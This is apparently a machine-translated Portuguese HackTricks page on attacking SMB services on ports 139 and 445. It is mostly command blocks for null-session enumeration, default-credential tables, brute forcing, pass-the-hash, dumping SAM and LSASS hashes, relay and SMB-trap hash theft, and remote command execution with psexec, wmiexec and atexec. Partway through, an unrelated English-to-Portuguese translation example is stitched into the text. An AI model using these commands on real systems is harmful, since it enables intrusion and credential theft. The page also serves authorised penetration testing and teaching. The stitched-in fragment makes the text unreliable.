## **Porta 139** **NetBIOS** significa _Network Basic Input Output System_. É um protocolo de software que permite que aplicativos, PCs e desktops em uma rede de área local (LAN) se comuniquem com hardware de rede e transmitam dados pela rede. Aplicativos de software que são executados em uma rede NetBIOS localizam e identificam uns aos outros por meio de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres e geralmente é diferente do nome do computador. Dois aplicativos iniciam uma sessão NetBIOS quando um (o cliente) envia um comando para "chamar" outro cliente (o servidor) pela **Porta TCP 139**. (extraído daqui (https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Porta 445 Enquanto a Porta 139 é conhecida tecnicamente como 'NBT sobre IP', a Porta 445 é 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block, na linguagem moderna, também é conhecido como **Common Internet File System**. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede. Por exemplo, no Windows, o SMB pode ser executado diretamente sobre o TCP/IP sem a necessidade do NetBIOS sobre TCP/IP. Isso usará, como você aponta, a porta 445. Em outros sistemas, você encontrará serviços e aplicativos usando a porta 139. Isso significa que o SMB está sendo executado com o NetBIOS sobre TCP/IP\*\*.\*\* (extraído da [qui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB O Protocolo de Bloco de Mensagens do Servidor (`SMB`) é um protocolo **cliente-servidor** que regula o **acesso a arquivos** e diretórios inteiros e outros recursos de rede, como impressoras, roteadores ou interfaces liberadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais **Windows**, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais novas podem facilmente se comunicar com dispositivos que possuem um sistema operacional Microsoft mais antigo instalado.\ Com o projeto de software livre **Samba**, também há uma solução que permite o uso do **SMB no Linux** e nas distribuições Unix e, portanto, comunicação entre plataformas via SMB. Um servidor SMB pode fornecer **partes arbitrárias de seu sistema de arquivos local como compartilhamentos**. Portanto, a **hierarquia visível** para um cliente é parcialmente **independente** da **estrutura** no **servidor**. Os **direitos de acesso** são definidos por `Listas de Controle de Acesso` (`ACL`). Eles podem ser controlados de maneira **granular** com base em atributos como **`executar`**, **`ler`** e **`acesso total`** para usuários individuais ou grupos de usuários. As **ACLs** são definidas **com base nos compartilhamentos** e, portanto, não correspondem aos direitos atribuídos localmente no servidor. ### Compartilhamento IPC$ Do livro _**Network Security Assessment 3rd edition**_ Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de pipes nomeados. A utilidade enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte: * Informações do sistema operacional * Detalhes do domínio pai * Uma lista de usuários e grupos locais * Detalhes dos compartilhamentos SMB disponíveis * A política de segurança do sistema efetiva ## O que é NTLM Se você não sabe o que é NTLM ou deseja saber como ele funciona e como abusá-lo, encontrará muito interessante esta página sobre **NTLM** onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele:** {% content-ref url="../windows-hardening/ntlm/" %} [ntlm](../windows-hardening/ntlm/) {% endcontent-ref %} ## **Enumeração do servidor** ### **Digitalize** uma rede procurando hosts: ```bash nbtscan -r 192.168.0.1/24 ``` ### Versão do servidor SMB Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas usadas, você pode: * Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version** * Ou este script: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **Buscar exploit** Para buscar exploits específicos para SMB, você pode usar o mecanismo de busca do [Exploit Database](https://www.exploit-db.com/search?cve=&ghdb=&metasploit=&description=smb&author=&platform=&type=&port=&osvdb=&filed=&order=date&perpage=50). Você também pode usar o [searchsploit](https://www.exploit-db.com/searchsploit) no terminal para pesquisar exploits localmente. ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### Possíveis Credenciais | **Nome de usuário(s)** | **Senhas comuns** | | ---------------------- | ----------------------------------------- | | _(em branco)_ | _(em branco)_ | | convidado | _(em branco)_ | | Administrador, admin | _(em branco)_, senha, administrador, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | teste, lab, demo | senha, teste, lab, demo | ### Informações do Ambiente SMB ### Obter Informações ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### Enumerar Usuários, Grupos e Usuários Logados ```bash # This info should already being gathered from enum4linux and enum4linux-ng crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups # Impacket - Enumerate local users lookupsid.py -no-pass hostname.local # Metasploit - Enumerate local users use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### Enumerando LSARPC e SAMR rpcclient {% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} [rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md) {% endcontent-ref %} ### Conexão GUI a partir do Linux #### No terminal: `xdg-open smb://cascade.htb/` #### Na janela do navegador de arquivos (nautilus, thunar, etc) `smb://friendzone.htb/general/` ## Enumeração de pastas compartilhadas ### Listar pastas compartilhadas É sempre recomendado verificar se você pode acessar algo, se você não tiver credenciais, tente usar **credenciais nulas/usuário convidado**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` ### **Conectar/Listar uma pasta compartilhada** Para conectar a uma pasta compartilhada, você pode usar o comando `smbclient`. Por exemplo, para se conectar a uma pasta compartilhada chamada `shared_folder` no endereço IP `192.168.1.10`, execute o seguinte comando: ``` smbclient //192.168.1.10/shared_folder ``` Se a pasta compartilhada exigir autenticação, você pode fornecer as credenciais usando a opção `-U`. Por exemplo, para se conectar a uma pasta compartilhada com o nome de usuário `user` e a senha `password`, execute o seguinte comando: ``` smbclient //192.168.1.10/shared_folder -U user%password ``` Para listar o conteúdo de uma pasta compartilhada, você pode usar o comando `ls`. Por exemplo, para listar o conteúdo da pasta compartilhada `shared_folder`, execute o seguinte comando depois de se conectar a ela: ``` ls ``` ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **Enumerar manualmente compartilhamentos do Windows e conectá-los** Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina hospedeira e, quando você tenta listá-los, parece que não há nenhum compartilhamento para se conectar. Assim, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar por respostas como NT\_STATUS\_ACCESS\_DENIED e NT\_STATUS\_BAD\_NETWORK\_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe. Nomes comuns de compartilhamento para alvos do Windows são * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (Nomes comuns de compartilhamento do _**Network Security Assessment 3ª edição**_) Você pode tentar se conectar a eles usando o seguinte comando ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` ou este script (usando uma sessão nula) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` Here's an example of how to translate the text: ### English Text: ## SMB SMB (Server Message Block) is a protocol used for file sharing and printer sharing. It is used by Windows operating systems and can be found in many other operating systems as well. SMB operates over TCP ports 139 and 445. ### Portuguese Translation: ## SMB SMB (Server Message Block) é um protocolo usado para compartilhamento de arquivos e impressoras. É usado pelos sistemas operacionais Windows e pode ser encontrado em muitos outros sistemas operacionais também. O SMB opera nas portas TCP 139 e 445. ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### Montar uma pasta compartilhada ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Baixar arquivos** Leia as seções anteriores para aprender como se conectar com credenciais/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` Comandos: * mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos) * recurse: ativa a recursão (padrão: desativado) * prompt: desativa a solicitação de nomes de arquivos (padrão: ativado) * mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente (_Informações retiradas da página do manual do smbclient_) ### Busca em Pastas Compartilhadas de Domínio * [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` Especialmente interessantes nos compartilhamentos são os arquivos chamados **`Registry.xml`** pois eles **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois eles contêm credenciais. {% hint style="info" %} O compartilhamento **SYSVOL** é **legível** por todos os usuários autenticados no domínio. Lá você pode **encontrar** muitos scripts diferentes em lote, VBScript e PowerShell.\ Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**. {% endhint %} ## Ler o Registro Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. O Impacket **`reg.py`** permite que você tente: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## Pós-Exploração A configuração padrão de um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas configurações **perigosas**: | **Configuração** | **Descrição** | | --------------------------- | -------------------------------------------------------------------- | | `browseable = yes` | Permitir a listagem de compartilhamentos disponíveis no compartilhamento atual? | | `read only = no` | Proibir a criação e modificação de arquivos? | | `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? | | `guest ok = yes` | Permitir a conexão ao serviço sem usar uma senha? | | `enable privileges = yes` | Honrar privilégios atribuídos a SID específico? | | `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | | `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? | | `logon script = script.sh` | Qual script precisa ser executado no login do usuário? | | `magic script = script.sh` | Qual script deve ser executado quando o script é fechado? | | `magic output = script.out` | Onde a saída do script mágico precisa ser armazenada? | O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**. ## Autenticar usando Kerberos Você pode **autenticar** no **Kerberos** usando as ferramentas **smbclient** e **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **Executar Comandos** ### **crackmapexec** O crackmapexec pode executar comandos **abusando** de qualquer um dos métodos **mmcexec, smbexec, atexec, wmiexec**, sendo o **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) Ambas as opções irão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá-lo para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para a pasta ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**técnica sem arquivo-**-).\ **Mais informações** sobre [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` Usando o **parâmetro** `-k`, você pode autenticar contra o **kerberos** em vez do **NTLM**. ### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135**.\ No **kali**, ele está localizado em /usr/share/doc/python3-impacket/examples/. ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` Usando o **parâmetro** `-k`, você pode autenticar contra o **kerberos** em vez do **NTLM**. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) Executar comandos via Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Referência do Impacket [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **Forçar credenciais de usuários** **Isso não é recomendado, você pode bloquear uma conta se exceder o número máximo de tentativas permitidas** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## Ataque de relé SMB Este ataque usa a ferramenta Responder para **capturar sessões de autenticação SMB** em uma rede interna e **relayá-las** para uma **máquina alvo**. Se a **sessão de autenticação for bem-sucedida**, você será automaticamente direcionado para um **shell do sistema**.\ [**Mais informações sobre este ataque aqui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"` Isso acontece com as funções: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream Que são usadas por alguns navegadores e ferramentas (como o Skype) ![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### SMBTrap usando MitMf ![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## Roubo de NTLM Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de relé SMB](pentesting-smb.md#smb-relay-attack). [Veja: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## Comandos Automáticos do HackTricks ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script smb-vuln* -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.